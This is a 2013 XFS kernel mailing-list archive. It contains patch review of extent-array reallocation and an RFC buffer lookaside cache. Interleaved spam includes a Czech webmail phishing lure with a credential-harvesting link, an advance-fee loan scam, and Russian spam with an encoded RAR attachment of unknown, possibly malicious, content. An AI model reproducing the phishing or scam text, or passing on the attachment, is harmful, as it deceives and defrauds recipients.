Yes, it may be inefficient, but I don't see that it's a contributor > > to memory fragmentation as the reallocated buffer is freed shortly > > after it has been allocated as the array shrinks. Do you have any > > evidence to suggest that such behaviour is actually fragmenting > > memory? If so, is the any test case that reproduces this problem? > > Ah, yes, it should not cause memory fragmentation. > > The benefits is that this change could save alloc/free buffers depending > on the number of extents records are stored at indirection array. OK, can you send a new version with an updated commit message? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Sep 23 18:56:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 542457F3F for ; Mon, 23 Sep 2013 18:56:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 43B1C8F8049 for ; Mon, 23 Sep 2013 16:56:49 -0700 (PDT) X-ASG-Debug-ID: 1379980607-04cb6c2e9f134c300001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id GEGqUwCS62kFneU6 for ; Mon, 23 Sep 2013 16:56:47 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsHAOPUQFJ5LLrX/2dsb2JhbABZgweDS7krhT2BHRd0giUBAQQBJxMcIwULCAMVAwklDwUlAyETh38FvEQWjzsHhB4Dl3uKOYc/gzYq Received: from ppp121-44-186-215.lns20.syd7.internode.on.net (HELO dastard) ([121.44.186.215]) by ipmail05.adl6.internode.on.net with ESMTP; 24 Sep 2013 09:26:44 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VOFze-0006jc-DQ; Tue, 24 Sep 2013 09:56:42 +1000 Date: Tue, 24 Sep 2013 09:56:42 +1000 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: fix the wrong new_size/rnew_size at xfs_iext_realloc_direct() Message-ID: <20130923235642.GY9901@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix the wrong new_size/rnew_size at xfs_iext_realloc_direct() References: <523EA96B.3040904@oracle.com> <20130923005657.GN12541@dastard> <523FC7DB.20204@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <523FC7DB.20204@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1379980607 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140868 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 23, 2013 at 12:47:23PM +0800, Jeff Liu wrote: > Hi Dave, > > On 09/23/2013 08:56 AM, Dave Chinner wrote: > > > On Sun, Sep 22, 2013 at 04:25:15PM +0800, Jeff Liu wrote: > >> From: Jie Liu > >> > >> At xfs_iext_realloc_direct(), the new_size is changed by adding > >> if_bytes if originally the extent records are stored at the inline > >> extent buffer, and we have to switch from it to a direct extent > >> list for those new allocated extents, this is wrong. e.g, > >> > >> Create a file with three extents which was showing as following, > >> > >> xfs_io -f -c "truncate 100m" /xfs/testme > >> > >> for i in $(seq 0 5 10); do > >> offset=$(($i * $((1 << 20)))) > >> xfs_io -c "pwrite $offset 1m" /xfs/testme > >> done > >> > >> Inline > >> ------ > >> irec: if_bytes bytes_diff new_size > >> 1st 0 16 16 > >> 2nd 16 16 32 > >> > >> Switching > >> --------- rnew_size > >> 3rd 32 16 48 + 32 = 80 roundup=128 > >> > >> In this case, the desired value of new_size should be 48, and then > >> it will be roundup to 64 and be assigned to rnew_size. > > > > Ok, so it allocates 128 bytes instead of 64 bytes. It tracks that > > allocation size correctly ifp->if_real_bytes, and all it means is > > that there are 4 empty extra slots in the extent array. The code > > already handles having empty slots in the direct extent array, so > > what impact is there as a result of the oversized initial allocation > > that is currently happening? > > > > i.e. if fixing the oversized results in more memory allocations due > > to resizing more regularly, then is there a benefit to changing this > > code given that the rewrite of the ifp->if_bytes value in the case > > where we do inline->direct conversion prevents this over-allocation > > from being a problem... > > I guess my current patch subject/description mislead you. The result > of the oversized can be ignored since this can be handled in the direct > extent array as empty slots. That's what I thought ;) > Actually, what I want to say is that we don't need to perform > "new_size += ifp->if_bytes;" again at xfs_iext_realloc_direct() > because the new_size at xfs_iext_add() already be the size of > extents after adding, just as the variable comments is mentioned. Yes, I understand. What I'm really asking is that whether there is any specific impact you can measure as a result of changing the initial allocation size? i.e. are there workloads where there is a measurable difference in memory footprint or noticable performance impact of having to reallocate the direct array more frequently as files grow and/or shrink? Cheers, Dave. -- Dave Chinner david@fromorbit.com From dps@tremonet.cz Mon Sep 23 19:25:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DBD407F3F for ; Mon, 23 Sep 2013 19:25:05 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7A8C6AC002 for ; Mon, 23 Sep 2013 17:25:02 -0700 (PDT) X-ASG-Debug-ID: 1379982297-04bdf02f2213978b0001-w1Z2WR Received: from mail.coprosys.cz (mail.coprosys.cz [81.92.156.119]) by cuda.sgi.com with ESMTP id OFUgx4AXK0rYgVPx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 23 Sep 2013 17:24:58 -0700 (PDT) X-Barracuda-Envelope-From: dps@tremonet.cz X-Barracuda-Apparent-Source-IP: 81.92.156.119 Received: from mail.coprosys.cz by mail.coprosys.cz (IceWarp 10.4.5 x64) with ASMTP id 201309240224527717; Tue, 24 Sep 2013 02:24:52 +0200 Date: Tue, 24 Sep 2013 01:24:49 +0100 To: undisclosed-recipients:; From: Dps Subject: =?UTF-8?Q?Webmail_z=C3=A1kazn=C3=ADk?= Message-ID: <02b4763ec8c93bcc53f1f0b5ca4d3258@tremonet.cz> X-ASG-Orig-Subj: =?UTF-8?Q?Webmail_z=C3=A1kazn=C3=ADk?= X-Mailer: IceWarp Mailer 10.4.5 x64 X-Priority: 3 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail.coprosys.cz[81.92.156.119] X-Barracuda-Start-Time: 1379982298 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140869 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- V=C3=A1=C5=BEen=C3=AD: Webmail z=C3=A1kazn=C3=ADk Vezm=C4=9Bte pros=C3=ADm na v=C4=9Bdom=C3=AD, =C5=BEe v=C3=A1=C5=A1 = e-mailov=C3=BD =C3=BA=C4=8Det p=C5=99ekro=C4=8Dil skladovac=C3=AD kapacity. Nebudete moci odes=C3=ADlat a p=C5=99ij=C3=ADmat = e-mailem svou e-mailov=C3=BD =C3=BA=C4=8Det, budou odstran=C4=9Bny z na=C5=A1eho = serveru. Chcete-li se tomuto probl=C3=A9mu vyhnout, =C2=A0 Klikn=C4=9Bte na odkaz n=C3=AD=C5=BEe pro aktualizaci va=C5=A1eho = =C3=BA=C4=8Dtu. http://webmailupdatewww.jimdo.com/ D=C4=9Bkuju. Veden=C3=AD spole=C4=8Dnosti. From MAILER-DAEMON Mon Sep 23 19:42:04 2013 Return-Path: <> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FRT_CONTACT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B50BC7F3F for ; Mon, 23 Sep 2013 19:42:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 62E85AC002 for ; Mon, 23 Sep 2013 17:42:01 -0700 (PDT) X-ASG-Debug-ID: 1379983319-04bdf02f2313989f0001-NocioJ Received: from na01-bl2-obe.outbound.protection.outlook.com (na01-bl2-ndr.ptr.protection.outlook.com [157.55.133.106]) by cuda.sgi.com with ESMTP id ohc8mjsyLozdomdH (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Mon, 23 Sep 2013 17:41:59 -0700 (PDT) X-Barracuda-Envelope-From: X-Barracuda-Apparent-Source-IP: 157.55.133.106 Received: from BN1PR07CA035.namprd07.prod.outlook.com (10.141.56.50) by BN1PR07MB133.namprd07.prod.outlook.com (10.242.216.19) with Microsoft SMTP Server (TLS) id 15.0.775.9; Tue, 24 Sep 2013 00:41:43 +0000 Received: from BN1BFFO11FD020.protection.gbl (2a01:111:f400:7c10::142) by BN1PR07CA035.outlook.office365.com (2a01:111:e400:2a::50) with Microsoft SMTP Server (TLS) id 15.0.775.9 via Frontend Transport; Tue, 24 Sep 2013 00:41:43 +0000 Received: from mail.srmc.org (24.106.176.249) by BN1BFFO11FD020.mail.protection.outlook.com (10.58.53.80) with Microsoft SMTP Server (TLS) id 15.0.775.5 via Frontend Transport; Tue, 24 Sep 2013 00:41:43 +0000 Received: from EXC2.srmc.org ([fe80::ecf4:44b4:392a:a739]) by CAS02.srmc.org ([fe80::485f:dd41:6082:f6f5%17]) with mapi id 14.03.0123.003; Mon, 23 Sep 2013 20:41:42 -0400 From: "Martin, Stephen A" Subject: Thread-Index: Ac64vtYx5fLlP0ZpQ16Qw6lXqhOJbw== X-ASG-Orig-Subj: Date: Tue, 24 Sep 2013 00:41:41 +0000 Message-ID: <842180325DBE16489B55E04A47AD006A37CEF96A@EXC2.srmc.org> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.2.4.163] Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 To: Undisclosed recipients:; X-Forefront-Antispam-Report: CIP:24.106.176.249;CTRY:US;IPV:NLI;EFV:NLI;SFV:SPM;SFS:(36304003)(199002)(189002)(76786001)(76796001)(76176001)(56816003)(77096001)(25636003)(81816001)(509001);DIR:OUT;SFP:1501;SCL:5;SRVR:BN1PR07MB133;H:mail.srmc.org;CLIP:24.106.176.249;FPR:;RD:rrcs-24-106-176-249.se.biz.rr.com;A:1;MX:1;UriScan:(11306347001);LANG:en; X-Forefront-PRVS: 09796A1B83 X-OriginatorOrg: srmc.org X-Barracuda-Connect: na01-bl2-ndr.ptr.protection.outlook.com[157.55.133.106] X-Barracuda-Start-Time: 1379983319 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.31 X-Barracuda-Spam-Status: No, SCORE=1.31 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=EMPTY_ENV_FROM, MISSING_SUBJECT, MISSING_SUBJECT_2, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140869 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 EMPTY_ENV_FROM Empty Envelope From Address 0.01 MISSING_SUBJECT Missing Subject: header 1.28 MISSING_SUBJECT_2 Missing Subject: header Do you need Funding? Do you need Business or Personal Loan? Do you wish to refinance your company? Our company is based in United States and Europe. We give out loan to any i= ndividual and company at 3% interest rate yearly. For more information, Con= tact Email, gruppo-finanziarios.p.a@admin.in.th ...........................................................................= ...........................................................................= ...........................................................................= ......................................................................... Sie ben=F6tigen Finanzierung? Sie ben=F6tigen gesch=E4ftliche oder pers=F6n= liche Darlehen? M=F6chten Sie Ihr Unternehmen refinanzieren? Unser Unternehmen ist in den Vereinigten Staaten und Europa. Wir geben Darl= ehen an jedem einzelnen Unternehmen und bei 3% Zinsen pro Jahr. F=FCr weitere Informationen, Kontakt per E- Mail,gruppo-finanziarios= .p.a@admin.in.th Confidentiality Notice ________________________________ This electronic transmission and any attached documents or other writings a= re confidential and are for the sole use of the intended recipient(s) ident= ified above. This message may contain information that is privileged, confi= dential or otherwise protected from disclosure under applicable law. If the= receiver of this information is not the intended recipient, or the employe= e, or agent responsible for delivering the information to the intended reci= pient, you are hereby notified that any use, reading, dissemination, distri= bution, copying or storage of this information is strictly prohibited. If y= ou have received this information in error, please notify the sender by ret= urn email and delete the electronic transmission, including all attachments= from your system. From david@fromorbit.com Mon Sep 23 19:48:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CA1DB7F3F for ; Mon, 23 Sep 2013 19:48:21 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id B93768F8049 for ; Mon, 23 Sep 2013 17:48:18 -0700 (PDT) X-ASG-Debug-ID: 1379983693-04cbb02c3a1344800001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id BLdrvZiiUlMK1SSK for ; Mon, 23 Sep 2013 17:48:14 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkMVAOjfQFJ5LLrX/2dsb2JhbABZgwc4gxOqHgOPCoU9gR8XdIIlAQEEATocIwULCAMVAwklDwUlAyETh38FDbwrFoxpglIHhB4Dl3uKOYc/gzYq Received: from ppp121-44-186-215.lns20.syd7.internode.on.net (HELO dastard) ([121.44.186.215]) by ipmail06.adl6.internode.on.net with ESMTP; 24 Sep 2013 10:18:12 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VOGnL-0006pE-86; Tue, 24 Sep 2013 10:48:03 +1000 Date: Tue, 24 Sep 2013 10:48:03 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find Message-ID: <20130924004803.GZ9901@dastard> X-ASG-Orig-Subj: Re: [PATCH] [RFC] xfs: lookaside cache for xfs_buf_find References: <1378690396-15792-1-git-send-email-david@fromorbit.com> <52404D7F.1080308@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52404D7F.1080308@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1379983693 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140869 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Sep 23, 2013 at 09:17:35AM -0500, Mark Tinguely wrote: > On 09/08/13 20:33, Dave Chinner wrote: > >From: Dave Chinner > > > >CPU overhead of buffer lookups dominate most metadata intensive > >workloads. The thing is, most such workloads are hitting a > >relatively small number of buffers repeatedly, and so caching > >recently hit buffers is a good idea. > > > ... > > I think this needs more testing. Yes, that's what an "RFC" implies. It's an idea, it's not fully baked and it's not ready for inclusion - it's a proof of concept that needs further work, and I't being posted for discussion to determine if it's worth pursuing further. Indeed, I haven't proposed it for inclusion yet because I'm still finding problems caused by the patch - it's still just a prototype at this point. > I got the same panic running xfstest 319 with the patch at: > http://oss.sgi.com/archives/xfs/2013-09/msg00578.html > once it hung on a xfs_buf lock before the panic. > > And these are the only tests that I threw at this patch. Sure. The version I have in my stack at the moment has some more ixes in it, like handling of length mismatches due to stale buffers on lookaside lookups, and other such things. i.e. early feedback on prototype code is exactly what [RFC] patches are for... Cheers, Dave. -- Dave Chinner david@fromorbit.com From beriy-1982@peak.com Mon Sep 23 22:45:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E5E177F3F for ; Mon, 23 Sep 2013 22:45:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 8050DAC002 for ; Mon, 23 Sep 2013 20:45:31 -0700 (PDT) X-ASG-Debug-ID: 1379994327-04bdf02f2113a5180001-NocioJ Received: from hosting5.jh-pro.cz (hosting5.jh-pro.cz [37.157.195.198]) by cuda.sgi.com with ESMTP id wxHkPnFNfHy95h9V for ; Mon, 23 Sep 2013 20:45:27 -0700 (PDT) X-Barracuda-Envelope-From: beriy-1982@peak.com X-Barracuda-Apparent-Source-IP: 37.157.195.198 Received: from Unknown (unknown [83.239.126.227]) by hosting5.jh-pro.cz (Postfix) with ESMTPA id 2864E3301A2; Tue, 24 Sep 2013 05:45:20 +0200 (CEST) Message-ID: <9358270F2D474DFF8F6AD69837CD591D@zspy> Reply-To: =?windows-1251?B?yu7s7OXw9+Xx6ujpIO7y5OXr?= From: =?windows-1251?B?yu7s7OXw9+Xx6ujpIO7y5OXr?= To: , , , , Subject: =?windows-1251?B?0PPq7uLu5Ojy5ev+IO7y5OXr4CDv8O7k4OY=?= Date: Tue, 24 Sep 2013 05:45:19 +0200 X-ASG-Orig-Subj: =?windows-1251?B?0PPq7uLu5Ojy5ev+IO7y5OXr4CDv8O7k4OY=?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_05C6_01CEB8E9.40DB7CE0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: hosting5.jh-pro.cz[37.157.195.198] X-Barracuda-Start-Time: 1379994327 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_TG035a, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140871 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC0_TG035a Message contains invalid style definition This is a multi-part message in MIME format. ------=_NextPart_000_05C6_01CEB8E9.40DB7CE0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_05C7_01CEB8E9.40DB7CE0" ------=_NextPart_001_05C7_01CEB8E9.40DB7CE0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =C2 =EE=F2=E4=E5=EB =EF=F0=EE=E4=E0=E6 ------=_NextPart_001_05C7_01CEB8E9.40DB7CE0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable
    =C2 =EE=F2=E4=E5=EB =EF=F0=EE=E4=E0=E6
    ------=_NextPart_001_05C7_01CEB8E9.40DB7CE0-- ------=_NextPart_000_05C6_01CEB8E9.40DB7CE0 Content-Type: application/octet-stream; name="=?windows-1251?B?wiDu8uTl6yDv8O7k4OYucmFy?=" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="=?windows-1251?B?wiDu8uTl6yDv8O7k4OYucmFy?=" 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 